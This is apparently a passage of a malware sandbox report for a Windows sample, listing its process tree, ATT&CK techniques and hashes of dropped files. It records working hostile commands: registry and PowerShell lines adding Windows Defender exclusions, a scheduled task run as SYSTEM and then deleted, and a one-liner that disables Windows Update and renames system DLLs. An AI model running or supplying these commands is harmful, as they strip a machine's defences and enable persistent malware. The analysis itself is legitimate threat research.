C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\MjrbnE\MjrbnE.exe" /inheritance:r4⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:5364
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\MjrbnE\MjrbnE.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2672 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\MjrbnE\MjrbnE.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F4⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:4844
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\MjrbnE\MjrbnE.exe" /grant:r Users:(RX) /deny Users:(DE)3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1108 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\MjrbnE\MjrbnE.exe" /grant:r Users:(RX) /deny Users:(DE)4⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:4316
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\MjrbnE\image.png" /inheritance:r3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1572 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\MjrbnE\image.png" /inheritance:r4⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:1308
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\MjrbnE\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3112 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\MjrbnE\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F4⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:2520
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\MjrbnE\image.png" /grant:r Users:(RX) /deny Users:(DE)3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1380 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\MjrbnE\image.png" /grant:r Users:(RX) /deny Users:(DE)4⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:6024
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\MjrbnE\thumbs.db" /inheritance:r3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1352 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\MjrbnE\thumbs.db" /inheritance:r4⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:4880
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\MjrbnE\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2616 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\MjrbnE\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F4⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:1732
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\MjrbnE\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5932 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\MjrbnE\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)4⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:5636
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\MjrbnE\XPSPLOG.dll" /inheritance:r3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5792 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\MjrbnE\XPSPLOG.dll" /inheritance:r4⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:2924
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\MjrbnE\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3284 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\MjrbnE\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F4⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:3980
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\MjrbnE\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4876 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\MjrbnE\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)4⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:548
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)' -Force3⤵
- Command and Scripting Interpreter: PowerShell
PID:4848
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\MjrbnE\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F3⤵
- Indicator Removal: Clear Persistence
PID:5968 -
C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\MjrbnE\" /t REG_DWORD /d 0 /f"4⤵
- Scheduled Task/Job: Scheduled Task
PID:1884
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C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Run /TN "Task1"4⤵PID:1852
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C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Delete /TN "Task1" /F4⤵PID:2292
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /q /c "@echo off & (for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i >nul 2>&1 & sc config %i start= disabled >nul 2>&1 & sc failure %i reset= 0 actions= "" >nul 2>&1 )) & (for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll >nul 2>&1 & icacls C:\Windows\System32\%i.dll /grant *S-1-1-0:F >nul 2>&1 & rename C:\Windows\System32\%i.dll %i_BAK.dll >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /remove *S-1-1-0 >nul 2>&1 )) & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f >nul 2>&1 & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f >nul 2>&1 & reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1 & erase /f /s /q c:\windows\softwaredistribution\*.* >nul 2>&1 & rmdir /s /q c:\windows\softwaredistribution >nul 2>&1 & powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}" >nul 2>&1"3⤵
- Executes a command shell one-liner
PID:5308 -
C:\Windows\SysWOW64\net.exenet stop wuauserv4⤵PID:6140
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop wuauserv5⤵PID:1360
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C:\Windows\SysWOW64\sc.exesc config wuauserv start= disabled4⤵
- Launches sc.exe
PID:2248
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C:\Windows\SysWOW64\sc.exesc failure wuauserv reset= 0 actions= ""4⤵
- Launches sc.exe
PID:1920
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C:\Windows\SysWOW64\net.exenet stop UsoSvc4⤵PID:3560
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop UsoSvc5⤵PID:5036
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C:\Windows\SysWOW64\sc.exesc config UsoSvc start= disabled4⤵
- Launches sc.exe
PID:3716
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C:\Windows\SysWOW64\sc.exesc failure UsoSvc reset= 0 actions= ""4⤵
- Launches sc.exe
PID:3068
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C:\Windows\SysWOW64\net.exenet stop uhssvc4⤵PID:3412
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F3⤵
- Indicator Removal: Clear Persistence
PID:1936
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C:\Users\Public\cjec5i\bo79Bu.exe"C:\Users\Public\cjec5i\bo79Bu.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:5408
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\cjec5i" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2600 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\cjec5i" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:5904
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C:\Windows\system32\cmd.execmd.exe1⤵PID:3104
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2428 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:6032
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4684 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:5968
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C:\Program Files (x86)\MjrbnE\MjrbnE.exe"C:\Program Files (x86)\MjrbnE\MjrbnE.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:2828
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C:\Program Files (x86)\lx2dpW\1lrJvy.exe"C:\Program Files (x86)\lx2dpW\1lrJvy.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:1740
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C:\Program Files (x86)\lx2dpW\1lrJvy.exe"C:\Program Files (x86)\lx2dpW\1lrJvy.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:4292
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C:\Program Files (x86)\MjrbnE\MjrbnE.exe"C:\Program Files (x86)\MjrbnE\MjrbnE.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:4504
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)\MjrbnE" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
PID:2904
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1System Services
1Service Execution
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Screensaver
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Screensaver
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1File and Directory Permissions Modification
1Impair Defenses
2Disable or Modify Tools
2Indicator Removal
1Clear Persistence
1Modify Registry
4Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Program Files (x86)\MjrbnE\MjrbnE.exe
- Size 145KB
- SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
- MD5 5251b98614acffe5c856f4039ca03da3
- SHA1 c80ed6716e89d4862f28ebbc130ec5aa362db963
- SHA512 d750c9adb08d9525ee9948c0c18c96f0c9520068aa4aa24885ac0d98790a6cc0a8ce0e71e1c669acd4623e0aabfc08c11c02be403f275b01aa4277c4ddab3302
- SSDEEP 3072:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCCvtzaYPFPR/M:Yz8upLGaPQDnFzaYPFdM
- TLSH T16AE30852B6808460F76A0B311864F9E44A6EED3C1AD0E95FF2787D3A1E311C38A7756F
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\MjrbnE\XPSPLOG.dll
- Size 4.6MB
- SHA256 ff7bf43ed6a578f8cc745540929832a48fd5f471e7f2941880a8839d1c917948
- MD5 dde10f59933567202f033a31b436d12d
- SHA1 e363e639f029181e2407c54a80bc9228ffb297f6
- SHA512 0032047c0cf753653be88c9f40712d7f8acfa668a628099efc73a2e769a40a7756874a6c318987d5365c45163417fa9607403bbc8c097f6b552af4d41889ef3b
- SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyf:BMWKfU+BcUTHCCCfqCiUffnf
- TLSH T10C263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\MjrbnE\image.png
- Size 4.8MB
- SHA256 ab8e155c7169e94d14eb992b2d9c7a5a40ba780da9dd172f6c956ba53793223d
- MD5 8b333948426dd15b494c750615f22699
- SHA1 7166582da8bd95d61125d1322a1f8748de3d7f7e
- SHA512 8778b364edb53bcde1369df53c6956ee6a7caae3f7909ccb01f15bc20bc5507cdd5dc3a09f66baad9cca66b979d529a2fda44115653d9892b1ede6fe8b117dd5
- SSDEEP 98304:S/kbbJse0kVnNLHgU4xCdWDI9U85SRewtOOqncq0/bsf8IWkKo5M2w:SMpJ0kVNLAU4xWWDI3ieO+n1yAFWkh5Q
- TLSH T17D36334FE6EFBED9C39CF7EA71098A30D63A8FBE1542292560229D14B63D7073293505
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\MjrbnE\thumbs.db
- Size 358KB
- SHA256 cbecf23e0adba1cb6afc6b1dc011578252fdf760a1bd87200c58fa9310d457ca
- MD5 6cb44e7ed98715f3b713b4c709836f67
- SHA1 6e9145edcf6388f31a41d5ab7f212c0722d27e1c
- SHA512 b1bfb21cef4965b340f89d03c415fe7989cf78400da5c3f1aa5f12a4f4df40de5807bc72554214627046d09630eacd69efbb5169d4e8aa0860201ef61ed0dd23
- SSDEEP 6144:ZiACk/u6n9aBOmmD1oQFu0oMOxKnJPWyD9Dcqt1oFsnrqW7mb/:48u69CghoQxoMTFQqtKFCz7mb/
- TLSH T19F74F268E6651EFE0E175FECE04F58AE9A8FD9E302C900252BF1C6D1CA106E4941FD5E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\lx2dpW\XPSPLOG.dll
- Size 4.6MB
- SHA256 ed960f72b5c867546c70d9c922c6cacc843ac175349ad26408ed8e7a54d058fd
- MD5 a63e5b586a8855961cab8c34b83c9743
- SHA1 44de6f75f9578557221be48b3cf4012b691fc152
- SHA512 78843972b10779a30fd3a81e92151c39bd06e7a1f812118296fa114544af463092ca2dc64d0b16a9dc4ea9aeb1a80018eeb7190005558f1bf21fdf83f4f3c37b
- SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmy3:BMWKfU+BcUTHCCCfqCiUffn3
- TLSH T177263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\lx2dpW\image.png
- Size 4.8MB
- SHA256 d1fdacbdb7b24bd00eb4f20745016bf76fe042241fb3bb97e3385e199d23863b
- MD5 a67769ee2a194bb76dac1d79b8409505
- SHA1 7a0cf4b46b164e8d1f6d8cb3897ae50535cff157
- SHA512 55aef8c9bc22662c5b4125fee2589b52b3de65eed0a0032235e2b9e924fa6a11e4080b99455302d8082a733c3106ecd91edde35108b659aa25754e11e65fb488
- SSDEEP 98304:f/kbbJse0kVnNLHgU4xCdWDI9U85SRewtOOqncq0/bsf8IWkKo5M2w:fMpJ0kVNLAU4xWWDI3ieO+n1yAFWkh5Q
- TLSH T16B36334FE6EFBED9C39CF7EA71098A30D63A4FBE1542292560229D14B63D7073293505
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
- Size 1KB
- SHA256 bf86b700115bc62d0912c1720cbfaddfc2faacb1450f796cac794df52d8ec8b7
- MD5 85a6fd6fdf3dcf23810d0ff4519e77d9
- SHA1 1dacee93120908eccaaad2a4e8508e9e09a584b1
- SHA512 4b28446606d40d36cd9c6c93ac36670797df36b8b9cd06dbba547b261319d412c2f9e884326ca709d60332f771be2e74af8918dbfb732b4a2c343f075039be16
- TLSH T1F33194BB1F683982CF398ED414C9E6221CF9E2409DCF159F6195D498AB443B26F0E91D
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
- Size 1KB
- SHA256 eb8098cbc67846de88807599fd82b8e2882516c7486517442a105c76b54f1d77
- MD5 e33802a661368ca27e38dd50357595ba
- SHA1 6edea547418c34d39644b6e2c7571e24e51120b2
- SHA512 266d89cd06f18c0d349ad5f13601184439dfceb38bbaec5556563471af3f03a71f332a939bbf60c3e509fd314b405e713c175cb1a8d4240b7b41fa9f9c727fab
- TLSH T1C531F6668E3D0042FB0C9F7161C8E13FADF2D5340CE94C4A602AE2AB9222B331F86500
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
- Size 512B
- SHA256 5edf373d27112e96883ad49e8648f94863f25a7e49eea72ca345d30ba21bafd0
- MD5 1a3575d6c4a7776dae15069ff3999808
- SHA1 30e8cd6f417aa3ab683536bcab1511291a2be58d
- SHA512 e05e04049f4be91309865d5a59f1cedb9a8d25a9877a74f667a840c1b2650a77b00f393748fac43fc94c0ea8c8734dbbb04963d4fda1216cada48ce25ab6d8d8
- TLSH T17DF0DC0C1AF8423DF033DA3CCBDA366F0E7BFA02200A80AC0AA5474DB11BE063D12139
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
- Size 506B
- SHA256 088396ab2fae43eeb1b2d38ed286a3304bf26c7a6223b3059af786ddb3485989
- MD5 8e72ce91e5f00741853c179978500c3b
- SHA1 7edf529b6af84184086609928a2208a14179d6e7
- SHA512 ffe3146cb51f2c506efb5001e4813874b333d2d5464856449990d07fe562f74677dd4a484d3ca0d8bd7904395ed402991d37f1537f5bd8145d832268de8622c6
- TLSH T1F8F0DC2C22EC411FF23AC9B84AD639B09D25F523100219BF0DA503441E51C001C4222C
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_iq4u5lav.1si.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Public\Music\destopbak.ini
- Size 2B
- SHA256 dd1e2826c0124a6d4f7397a5a71f633928926c0608b62fb9e615ba778acc39ff
- MD5 7e74f75663e5b5a4f3452a4c603ee45d
- SHA1 d5114b086b721f2c87ea7152025792958ab4c629
- SHA512 2f5d0d45593487bebc2ccf968eaf2a4a3bde1d5a29c7c2b5ad411e041c0d3b7a46be439ed7083093057a96030683b9defbed1a2ef7882b3e64cf3fbc7c9cf12f
- MD5 SHA1 SHA512
- Path C:\Users\Public\cjec5i\UxEnhance64.dll
- Size 3.1MB
- SHA256 b18f265eb986b8aa7ece7db96ef18681bcf53f765d9e0c9b0cddb33e681fd980
- MD5 3773de0380c0c23d8c354e500417e52c
- SHA1 bb55f9ddbf302a30a668f8e0beda9d5ce508b51f
- SHA512 544d85caf311402c7e79faef75a013909b4774002ffda7b182021dd407d51ccc83fb1e7de52bf3a06c9cb891ece577ab11a0328b64a6c0d68d069679702ef9e2
- SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+f:P9m29xx3Tiqt06ox6+z2rNNrKof
- TLSH T1FCE523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\cjec5i\adoresd.dat
- Size 4.8MB
- SHA256 d7fb1d092e8e6dc0498485bc1191169f622b99afb49ad749988683257ba45e57
- MD5 5afe985c3318532db945ff873fad56b4
- SHA1 94bef24f07232781a2d1e9a54413bf9503108d5a
- SHA512 0511230a110fc5b2b2e820bc0ae5e15c178693449ec12e5101e8c38d0eecd5ea9cd4077679e8186bf62622d33665e39d209bd4ea77bbc833ea9de03a84118205
- SSDEEP 98304:dWjdk+BWRdgiQH5fi2EP8QppMsYpfemnFjrIROuF7dYutYONNClD:dWj3WRdRQH5fimPGmNc7dBtYOc
- TLSH T1CB3633AB2FC2F55F5582315954D8E0216D7FFEC626CA2B5D6E7888F7A32210A04BD24C
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\cjec5i\bo79Bu.exe
- Size 135KB
- SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
- MD5 9ec587911e501b73b7cf09f05d0ae17d
- SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
- SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
- SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
- TLSH T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\cjec5i\msadox.tb
- Size 8KB
- SHA256 e0f59a9abe3719a2df9d18cef2e61ee2b7d556a8d7ebf684f8d958356ea51580
- MD5 43f0a6a4db363e6d3569efede1d47b94
- SHA1 f93f9db14e5e6feb7f7720b0a3aa91e71dd2978f
- SHA512 d91aba5dc7f000163ab8395871302579531e7294b5dfa43017c8607790d507e643ef501bbaeb47713d393e27f24bdc25f3a78a5c57b55d055fd8d08a7db3aaf0
- SSDEEP 192:sqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:ssZqZOXQ3uqvR2Kfzp
- TLSH T196029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\c:\xxxx.ini
- Size 2B
- SHA256 7eb70257593da06f682a3ddda54a9d260d4fc514f645237f5ca74b08f8da61a6
- MD5 81051bcc2cf1bedf378224b0a93e2877
- SHA1 ba8ab5a0280b953aa97435ff8946cbcbb2755a27
- SHA512 1b302a2f1e624a5fb5ad94ddc4e5f8bfd74d26fa37512d0e5face303d8c40eee0d0ffa3649f5da43f439914d128166cb6c4774a7caa3b174d7535451eb697b5d
- MD5 SHA1 SHA512